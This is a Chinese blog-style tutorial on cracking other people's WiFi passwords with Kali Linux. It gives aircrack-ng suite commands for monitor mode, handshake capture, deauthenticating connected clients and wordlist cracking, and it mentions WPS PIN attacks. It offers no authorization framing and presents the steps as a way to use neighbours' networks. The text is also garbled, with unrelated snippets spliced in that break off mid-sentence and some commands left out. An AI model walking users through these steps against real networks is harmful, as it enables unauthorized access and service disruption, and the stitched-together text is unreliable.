今日主题：如何破解WIFI
准备工具
•笔记本一台
•usb无线网卡【我用的是小米的】
•kali系统【可以在虚拟机里装，建议用2019年及以下版本
VMware Workstation15虚拟机安装
连别人家的wifi的方法主要有如下三种：1，腿儿着去问密码。2，使用Wi-Fi密码破解工具，如EWSA Pro对Wi-Fi密码进行破解。3，使用如“Wi-Fi万能钥匙”这类APP获取附近的Wi-Fi密码。等会儿？这才过了半分钟，蹭Wi-Fi的。
可以参考
kali安装
可以参考
WIFI加密方式
1，找主人询问WiFi密码是最正常的方法，也是最顺利最安全的方法。因为你是得到了主人的允许才连入WiFi网络的，主人会帮助你解决一切网络连接障碍。2，用WiFi万能钥匙软件来破解加密WiFi网络的密码。操作方法很简单，打开WiFi万能。
1. WEP（有线等效加密）——采用WEP64位或者128位数据加密。
2.WPA-PSK[TKIP]———采用预共享秘钥的WI-FI保护访问，采用WPA-PSK标准加密技术，加密类型为TKIP。
start
一
打开虚拟机，插入usb网卡，把网卡放到虚拟机来
桌面右键，选择Open in Terminal打开终端
二
显示网卡信息
airmon-ng
开启网卡监控
airmon-ng start wlan0
用ifconfig命令查看一下网卡信息
ifconfig
可以看到网卡的名字已经变了
三
扫描WIFI信号
airodump-ng wlan0mon
拿到握手包
解释：
-c：指定信道[ch]
-w：指定抓去握手包的存放位置或者名字，freedom是一会抓去的握手包的名字
--bssid：指定路由器的MAC
再开一个终端输入命令
使用airplay-ng工具强制断开已经连接到wifi的设备重新连接路由器，来进行抓去数据包
解释：
-0：指定发送反认证包的个数(阿利伯数字0)
查看别人的wifi密码的方法如下：以华为手机nova2为例：1、首先把手机屏幕从上往下滑动后将菜单栏拉出后长按已连接的WIFI，如图所示。2、然后进入WLAN设置界面点击要选的WIFI，如图所示。3、将弹出二维码对话框后截图用QQ或微。
-a：指定路由器的MAC
-c：指定客户机的MAC
出现下图就是抓取成功
破解握手包
aircrack-ng -w dict freedom-*.cap
dict：字典的名字
freedom-*.cap：握手包
破解成功
补充
3、pin破解，这算是比较流行的破解方法了，pin其实依赖于路由的wps。WPS，就是只要你按一下WPS按钮就能连接上WiFi的功能，省去了输密码的麻烦。这本来是个方便用户使用的功能，但是它其实是通过了pin码的方式进行了认证。P。
•系统自带了密码字典，我用的是我自己的
字典位置如下：
usr/share/john/password.lst
usr/share/wfuzz/wordlist
usr/share/ wordlists/rockyou.txt
最后一个路径下的文件默认是压缩的，可以通过以下命令解压
•反向认证的原理是让其中一个客户端下线，然后他再次连接，就可以获取握手包•信号扫描结束或者进程终止：ctrl+c
一、使用wifi软件 目前网上有很多WiFi共享软件，特别是手机端比较流行，比如某钥匙，他们的破解办法就是偷偷地把用户wifi密码上传到服务器共享，虽然比较缺德，但确实方便了大众。利用这个办法，我们用手机下载某钥匙，然后通过。
